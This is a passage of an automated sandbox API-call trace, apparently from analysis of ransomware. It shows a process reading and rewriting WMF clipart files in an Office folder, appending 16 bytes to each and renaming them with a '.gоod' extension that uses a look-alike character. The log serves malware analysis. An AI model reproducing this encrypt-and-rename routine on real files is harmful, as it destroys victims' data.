lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.779] GetFileType (hFile=0x6e0) returned 0x1 [0182.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.780] GetFileType (hFile=0x6e0) returned 0x1 [0182.780] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3f34 [0182.780] WriteFile (in: hFile=0x6e0, lpBuffer=0x35bee00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35bee00*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0182.780] CloseHandle (hObject=0x6e0) returned 1 [0182.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFilePart=0x0) returned 0x44 [0182.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.781] GetFileType (hFile=0x6e0) returned 0x1 [0182.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.781] GetFileType (hFile=0x6e0) returned 0x1 [0182.781] ReadFile (in: hFile=0x6e0, lpBuffer=0x35c10c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35c10c0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0182.813] CloseHandle (hObject=0x6e0) returned 1 [0182.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFilePart=0x0) returned 0x44 [0182.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0182.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.813] GetFileType (hFile=0x6e0) returned 0x1 [0182.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0182.813] GetFileType (hFile=0x6e0) returned 0x1 [0182.813] WriteFile (in: hFile=0x6e0, lpBuffer=0x35bfe18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35bfe18*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0182.813] CloseHandle (hObject=0x6e0) returned 1 [0182.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFilePart=0x0) returned 0x44 [0182.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0182.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0182.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x692e5409, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f44)) returned 1 [0182.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0182.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.gоod")) returned 1 [0182.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFilePart=0x0) returned 0x44 [0182.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0182.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x363d4b0 | out: lpFileInformation=0x363d4b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354)) returned 1 [0183.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0183.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFilePart=0x0) returned 0x44 [0183.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.551] GetFileType (hFile=0x6e0) returned 0x1 [0183.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.551] GetFileType (hFile=0x6e0) returned 0x1 [0183.551] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0183.551] ReadFile (in: hFile=0x6e0, lpBuffer=0x36cef80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36cef80*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0183.592] CloseHandle (hObject=0x6e0) returned 1 [0183.592] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFilePart=0x0) returned 0x44 [0183.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.593] GetFileType (hFile=0x6e0) returned 0x1 [0183.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.593] GetFileType (hFile=0x6e0) returned 0x1 [0183.593] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x4354 [0183.593] WriteFile (in: hFile=0x6e0, lpBuffer=0x373f6f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x373f6f0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0183.594] CloseHandle (hObject=0x6e0) returned 1 [0183.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFilePart=0x0) returned 0x44 [0183.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.594] GetFileType (hFile=0x6e0) returned 0x1 [0183.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.594] GetFileType (hFile=0x6e0) returned 0x1 [0183.594] ReadFile (in: hFile=0x6e0, lpBuffer=0x37419b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37419b0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0183.717] CloseHandle (hObject=0x6e0) returned 1 [0183.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFilePart=0x0) returned 0x44 [0183.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.718] GetFileType (hFile=0x6e0) returned 0x1 [0183.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.718] GetFileType (hFile=0x6e0) returned 0x1 [0183.718] WriteFile (in: hFile=0x6e0, lpBuffer=0x35a8438*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35a8438*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0183.718] CloseHandle (hObject=0x6e0) returned 1 [0183.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFilePart=0x0) returned 0x44 [0183.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0183.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0183.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69b6995b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4364)) returned 1 [0183.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0183.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.gоod")) returned 1 [0183.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFilePart=0x0) returned 0x44 [0183.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0183.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35e3668 | out: lpFileInformation=0x35e3668*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0)) returned 1 [0183.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0183.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFilePart=0x0) returned 0x44 [0183.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.721] GetFileType (hFile=0x6e0) returned 0x1 [0183.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.721] GetFileType (hFile=0x6e0) returned 0x1 [0183.721] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0183.721] ReadFile (in: hFile=0x6e0, lpBuffer=0x35e3a80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x35e3a80*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0183.723] CloseHandle (hObject=0x6e0) returned 1 [0183.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFilePart=0x0) returned 0x44 [0183.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.723] GetFileType (hFile=0x6e0) returned 0x1 [0183.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.723] GetFileType (hFile=0x6e0) returned 0x1 [0183.723] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3ef0 [0183.723] WriteFile (in: hFile=0x6e0, lpBuffer=0x35e4d38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35e4d38*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0183.724] CloseHandle (hObject=0x6e0) returned 1 [0183.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFilePart=0x0) returned 0x44 [0183.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0183.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0183.724] GetFileType (hFile=0x6e0) returned 0x1 [0183.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0183.724] GetFileType (hFile=0x6e0) returned 0x1 [0183.724] ReadFile (in: hFile=0x6e0, lpBuffer=0x35e6ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35e6ff8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0184.528] CloseHandle (hObject=0x6e0) returned 1 [0184.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFilePart=0x0) returned 0x44 [0184.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0184.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0184.529] GetFileType (hFile=0x6e0) returned 0x1 [0184.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0184.529] GetFileType (hFile=0x6e0) returned 0x1 [0184.529] WriteFile (in: hFile=0x6e0, lpBuffer=0x35af008*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35af008*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0184.529] CloseHandle (hObject=0x6e0) returned 1 [0184.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", lpFilePart=0x0) returned 0x44 [0184.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0184.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0184.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a32963b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f00)) returned 1 [0184.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0184.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.gоod")) returned 1 [0184.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFilePart=0x0) returned 0x44 [0184.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0184.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3772820 | out: lpFileInformation=0x3772820*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124)) returned 1 [0184.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0184.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFilePart=0x0) returned 0x44 [0184.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0184.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0184.531] GetFileType (hFile=0x6e0) returned 0x1 [0184.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0184.531] GetFileType (hFile=0x6e0) returned 0x1 [0184.531] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0184.653] ReadFile (in: hFile=0x6e0, lpBuffer=0x37351f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37351f0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0184.659] CloseHandle (hObject=0x6e0) returned 1 [0184.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", lpFilePart=0x0) returned 0x44 [0184.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0184.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0184.659] GetFileType (hFile=0x6e0) returned 0x1 [0184.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0184.660] GetFileType (hFile=0x6e0) returned 0x1 [0184.660] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x4124 [0184.660] WriteFile (in: hFile=0x6e0, lpBuffer=0x373ae20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x373ae20*, 